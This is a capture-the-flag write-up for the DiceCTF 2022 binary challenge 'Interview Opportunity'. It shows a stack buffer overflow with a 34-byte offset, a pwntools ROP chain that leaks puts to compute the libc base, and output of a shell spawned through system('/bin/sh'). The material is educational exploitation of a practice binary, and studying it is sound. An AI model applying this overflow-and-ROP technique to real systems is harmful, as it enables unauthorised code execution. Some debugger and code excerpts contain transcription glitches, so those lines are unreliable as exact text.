Interview Opportunity

"Interview Opportunity" was an easy binex challenges in DiceCTF 2022. It was a basic return-to-libc attack where we exploit a buffer overflow to find the location of libc, the system function, and spawn a shell using ROP chains. This challenge came with an executable, and a libc shared object.

Challenge Files

Before we can do any exploitation, we have to understand how to use the files given to us. We received a libc.so.6 because that is the exact libc that would be on the remote system, so if you were exploiting the remote target, that libc is the one you would use in your exploitation script (more on the script later). If you are exploiting locally, you could try to patch the executable to use the given libc with patchelf, or (my preference) pwninit. I was unsuccessful patching the binary, and don't want to waste time, so we can just look for the libc version that it has defaulted to, and use that in our exploit script. We find this using ldd and we find out that it is using a libc stored at /usr/lib/libc.so.6 in my local system. If yours is different, use the path that ldd gives you.

Enumeration

As with all things, we start by reviewing the security properties of the given executable, so we can have an overview of what kind of attack we will be doing. We were given a libc.so.6 and we could have just infer that it's a "ret2libc", but it is good to review the security regardless.

```
→ interview-opportunity checksec interview-opportunity
[*] '/home/tobeatelite/ctf/dicectf/interview-opportunity/interview-opportunity'
    Arch: amd64-64-little
    RELRO: Partial RELRO
    Stack: No canary found
    NX: NX enabled
    PIE: No PIE (0x400000)
    interview-opportunity
```

We have no canaries, and so a buffer overflow is likely. No execute is enabled so we will not be injecting shellcode onto the stack. This configuration lets us know that we will be utilising a ROP chain, since that's the best way to manipulate the program without our own shellcode.

Testing the Executable

Now that we have some information about the executable, we run it to get an idea of how it works. It just asks us for input and exits. There is a **SIGSEGV** if we input too many characters, and so that's where our BoF is. We view the crash data and find out that we have to enter 34 characters of padding before overwriting the Instruction Pointer.

```
pwndbg> run
Starting program: /home/tobeatelite/ctf/dicectf/interview-opportunity/interview-opportunity
Thank you for you interest in applying to DiceGang. We need great pwners like you to continue our traditions and competition against perfect blue. So tell us. Why should you join DiceGang?

idk
Hello:
idk
@
[Inferior 1 (process 39292) exited normally]
pwndbg> cyclic 50
aaaabaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
pwndbg> run
Starting program: /home/tobeatelite/ctf/dicectf/interview-opportunity/interview-opportunity
Thank you for you interest in applying to DiceGang. We need great pwners like you to continue our traditions and competition against perfect blue. So tell us. Why should you join DiceGang?
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
Hello:
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
Program received signal SIGSEGV, Segmentation fault.
```

```
RCX
     0x7ffff7ebe907 (write+23) ← cmp
                                          rax, -0x1000 /* 'H=' */
RDX
     0x7ffff7f924d0 (_IO_stdfile_1_lock) - 0x0
RDI
     0x7ffff7f905a3 (_I0_2_1_stdout_+131) <- 0xf924d00000000000 /* '\n' */
RSI
R8
     0x34
R9
     0x0
     0x7ffff7dd9050 - 0x10002200000ef0
R10
R11
     0x4010a0 (_start) ← endbr64
R12
R13
R14
     0x0
R15
     0x0
RBP
     0x6169616161686161 ('aahaaaia')
     0x7fffffffdba8 ← 'aajaaakaaalaaama\n'
RSP
RIP
     0x4012a5 (main+101) - ret
                                                                                  DISASM
▶ 0x4012a5 <main+101>
                                 <0x616b6161616a6161>
00:0000
        rsp 0x7fffffffdba8 ← 'aajaaakaaalaaama\n'
01:0008
             0x7fffffffdbb0 ← 'aalaaama\n'
02:0010
             0x7fffffffdbb8 -- 0x10000000a /* '\n' */
03:0018
             0x7fffffffdbc0 → 0x401240 (main) → push
04:0020
                 ffffffdbc8 - 0x1000
05:0028
             0x7fffffffdbd0 → 0x4012b0 ( libc csu init) ← endbr64
06:0030
             0x7fffffffdbd8 → 0x3cbcebda13de9845
07:0038
             0x7fffffffdbe0 → 0x4010a0 ( start) ← endbr64
                                                                                 BACKTRACE
               0x4012a5 main+101
    1 0x616b6161616a6161
    2 0x616d6161616c6161
    3
            0x10000000a
    4
               0x401240 main
                 0x1000
    6
               0x4012b0
                          libc csu init
    7 0x3cbcebda13de9845
 wndbg> cyclic -l aaja
34
wndbg>
```

Ret2Libc Theory

At this point we have to work on creating our exploit to beat this challenge. The rundown of what we have to do for this attack is as follows.

- Find location of a function used in the executable
- Find location of that same function inside the libc file used in the live challenge
- · Calculate the libc base address
- Create ROP chain to spawn a shell, using the system function inside the libc

Finding the libc Base Address in theory

Its important to know that you must find the location of a used function that's in the *Standard C Library*. This is not an issue because these are common functions like *puts*, *call*, *printf*, *gets* etc etc. This is just because by finding the location of these functions, we can compare their addresses with the address of the same function inside the libc, allowing us to calculate how far off the *base address of libc* is. Doing this allows us to find the location of *other functions* inside the libc, namely *system*.

We could choose any standard function that is inside the executable to compare the address with. In this case we choose "puts" just for simplicity, but you can realistically choose any other.

```
pwndbg> info functions
All defined functions:
Non-debugging symbols:
0x0000000000401000
                    init
0x0000000000401030
                    puts@plt
0×0000000000401040
                    printf@plt
0x0000000000401050
                    alarm@plt
0x0000000000401060
                    read@plt
0x0000000000401070
                    signal@plt
0x0000000000401080
                    setvbuf@plt
0x0000000000401090
                    exit@plt
0x00000000004010a0
                    start
0x00000000004010d0
                     dl relocate static pie
0x00000000004010e0
                    deregister_tm_clones
0x0000000000401110
                    register_tm_clones
                      do_global_dtors aux
0x0000000000401150
0x0000000000401180
                    frame_dummy
0x0000000000401190
                    sig_handler
0x00000000004011c0
                    env_setup
0x0000000000401240
                    main
0x00000000004012b0
                     __libc_csu_init
0x0000000000401320
                      _libc_csu_fini
0x0000000000401328
                    fini
pwndbg>
```

Finding the libc Base Address in practice

We simply create a ROP Object, this will automatically gather the ROP Gadgets for us. We tell our ROP to automatically create a chain to leak the address of the puts function. The executable outputs 3 lines before reaching showing us the puts address, and that's why we read 3 lines before receiving the puts address..

The "puts = unpack(...)" line simply takes the output of the address leak, and formats it into a usable address for our exploit. If you want to see the process in detail, run the script with context.log_level = 'debug'.

```
from pwn import ★
executable = ELF('interview-opportunity', checksec=False)
context.binary = executable
rop = ROP(executable)
# TL;DR: Print the location of the 'puts' Function
# We call the puts function and make it print out the *address* of puts
# The function that is *called* here, must output to stdout: ie: puts, printf
rop.puts(executable.got.puts)
# An example in which we use the alarm@plt function, would go like:
# rop.puts(executable.got.alarm)
# jump back to main, restart the program so we can call "system" later
rop.main()
my_process = executable.process()
payload = flat(
       b'A' * 34, # The Offset we found
        rop.chain() # tell the ROP Object to magically build our chain
)
my_process.sendlineafter(b'DiceGang?', payload)
my_process.recvlines(3)
puts = unpack(my_process.recvline().strip()[:6].ljust(8, b"\x00"))
log.info(f'puts found at {hex(puts)}')
```

We make an **ELF** object using the libc in order to access its symbols. We then calculate the libc base address by subtracting the **puts** address we found, with the location of **puts** in the libc.

```
libc = ELF('/usr/lib/libc.so.6', checksec=False)
libc.address = puts - libc.symbols.puts
log.info(f'libc base adress found at {hex(libc.address)}')
```

By running this we have calculated the base libc address, and are ready to create the final ROP Chain.

```
→ interview-opportunity python3 get_libc_base_adress.py
[*] Loaded 15 cached gadgets for 'interview-opportunity'
[+] Starting local process '/home/tobeatelite/ctf/dicectf/in
[*] puts found at 0x7f6fa28baab0
[*] libc base adress found at 0x7f6fa28444c0
[*] Stopped process '/home/tobeatelite/ctf/dicectf/interview-interview-opportunity
→ interview-opportunity
```

Creating Final ROP Chain

This is the easiest part. We create another ROP object using the libc (the base address is correct at this point, and so we can actually use it). We tell our ROP to call the system function from libc, and to look for - and pass in the string "/bin/sh" as the argument, thus spawning our shell. We send the payload and hop into a shell.

```
→ interview-opportunity python3 exploit.py
[*] Loaded 15 cached gadgets for 'interview-opportunity'
[+] Starting local process '/home/tobeatelite/ctf/dicectf/interview-opportunity/interview-opportunity': pid 18778
[*] puts found at 0x7f9eba316ab0
[*] libc base adress found at 0x7f9eba2a0000
[*] Loaded 198 cached gadgets for '/usr/lib/libc.so.6'
[+] Opening Shell
[*] Switching to interactive mode
$ id
uid=1000(tobeatelite) gid=1001(tobeatelite) groups=1001(tobeatelite),3(sys),982(rfkill),984(users),998(wheel),1000(autologin)
$ ■
```

Good Resources

 <u>This</u> John Hammond video where he goes through doing this attack, showing all the common mistakes This CryptoCat video. Day 3 pwn challenge from HTB Cyber Santa CTF